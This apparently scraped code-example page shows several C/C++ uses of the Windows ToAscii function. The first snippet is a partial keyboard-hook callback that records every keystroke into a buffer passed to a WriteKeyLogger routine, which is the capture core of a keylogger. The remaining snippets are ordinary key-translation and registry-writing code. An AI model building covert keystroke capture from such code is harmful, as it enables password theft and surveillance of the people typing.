		GetKeyboardState(KeyState);
		// Conversion code > ascii
		ToAscii(hooked.vkCode, hooked.scanCode ,KeyState,&wBuf,0);
		 //on rajoute les touches non traitées par le hook
		switch (hooked.vkCode)
		{
			case VK_TAB     : { WriteKeyLogger(name); break; }
			case VK_RETURN  : { WriteKeyLogger(name); break; }
			case VK_BACK    : { _map[name] = _map[name].Substr(0, _map[name].Size() - 1); break; }
			case VK_NUMPAD0 : { _map[name] += "0"; break; }
			case VK_NUMPAD1 : { _map[name] += "1"; break; }
			case VK_NUMPAD2 : { _map[name] += "2"; break; }
			case VK_NUMPAD3 : { _map[name] += "3"; break; }
			case VK_NUMPAD4 : { _map[name] += "4"; break; }
			case VK_NUMPAD5 : { _map[name] += "5"; break; }
			case VK_NUMPAD6 : { _map[name] += "6"; break; }
			case VK_NUMPAD7 : { _map[name] += "7"; break; }
			case VK_NUMPAD8 : { _map[name] += "8"; break; }
			case VK_NUMPAD9 : { _map[name] += "9"; break; }
			case VK_MULTIPLY: { _map[name] += "*"; break; }
			case VK_ADD     : { _map[name] += "+"; break; }
			case VK_SUBTRACT: { _map[name] += "-"; break; }
			case VK_DECIMAL : { _map[name] += "."; break; }
			case VK_DIVIDE  : { _map[name] += "/"; break; } 
			case VK_DELETE  : { printf("<Suppr>");break;}
			default : { // on affiche les touches tappées
				ch=((char)wBuf);
				_map[name] += ch;
				break;
				}

		}
	}
	return CallNextHookEx(hKeyHook, nCode,wParam,lParam);
}
Exemplo n.º 28
0
char 
CBSumCaret::MakeAscii( UINT nChar, UINT nFlags )
{       

	BYTE KeyState[256];

	WORD TransKey;

	GetKeyboardState(KeyState);
	
	if ( ToAscii(nChar, (nFlags & 0x7f), KeyState, &TransKey, 0) == 1 ) {
		return (char )(TransKey & 0x7f);
	} else {
		return 0;
	}

}
Exemplo n.º 29
0
static vi_key ConvertWierdCharacter( WORD vk, WORD data )
{
    unsigned char   keyboard_state[256];
    unsigned int    scancode = LOBYTE( data );
#if defined( __NT__ )
    WORD            newkey;
#else
    DWORD           newkey;
#endif

    GetKeyboardState( keyboard_state );
    if( ToAscii( vk, scancode, keyboard_state, &newkey, FALSE ) == 0 ) {
        return( 0 );
    }

    return( (vi_key)( newkey & 0xFF ) );
}
Exemplo n.º 30
-1
void CConfigSet::WriteVariablesToRegistry (const char *reg_name, const char *config_section)
{
	LONG result;
	char buff[1024];
	CRegKey newrk;

	snprintf(buff, sizeof(buff), "%s\\\\%s", reg_name, config_section);
	result = newrk.Create(HKEY_CURRENT_USER, buff);
	if (result != ERROR_SUCCESS) return;

	for (config_index_t ix = 0; ix < m_numVariables; ix++) {
	  switch (m_variables[ix].m_type) {
	  case CONFIG_TYPE_INTEGER:
	    newrk.SetValue(m_variables[ix].m_value.m_ivalue,
			   m_variables[ix].m_sName);
	    break;
	  case CONFIG_TYPE_BOOL:
	    newrk.SetValue(m_variables[ix].m_value.m_bvalue ? 1 : 0,
			   m_variables[ix].m_sName);
	    break;
	  case CONFIG_TYPE_STRING:
	    newrk.SetValue(ToAscii(&m_variables[ix]),
			   m_variables[ix].m_sName);
	    break;
	  case CONFIG_TYPE_FLOAT:
	    
	    newrk.SetValue(ToAscii(&m_variables[ix]), 
			   m_variables[ix].m_sName);
	    break;
			   
	  }
	}
	newrk.Close();

}